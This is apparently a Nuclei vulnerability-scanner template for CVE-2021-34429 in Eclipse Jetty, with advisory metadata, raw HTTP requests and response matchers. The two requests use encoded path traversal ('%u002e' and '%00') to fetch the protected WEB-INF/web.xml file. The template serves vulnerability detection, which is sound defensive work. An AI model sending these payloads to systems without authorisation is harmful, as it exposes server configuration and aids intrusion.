id: CVE-2021-34429

info:
  name: Jetty Authorization Before Parsing and Canonicalization Variation
  author: Bernardo Rodrigues @bernardofsr | André Monteiro @am0nt31r0
  severity: medium
  description: |
    For Eclipse Jetty versions 9.4.37-9.4.42, 10.0.1-10.0.5 & 11.0.1-11.0.5, URIs can be crafted using some encoded characters to access the content of the WEB-INF directory and/or bypass some security constraints. This is a variation of the vulnerability reported in CVE-2021-28164/GHSA-v7ff-8wcx-gmc5.
  reference: |
    - https://github.com/eclipse/jetty.project/security/advisories/GHSA-vjv5-gp2w-65vm
  tags: cve,cve2021,jetty

requests:
  - raw:
      - |+
        GET /%u002e/WEB-INF/web.xml HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)

      - |+
        GET /.%00/WEB-INF/web.xml HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)


    unsafe: true
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "</web-app>"
          - "java.sun.com"
        part: body
        condition: and

      - type: word
        part: header
        words:
          - "application/xml"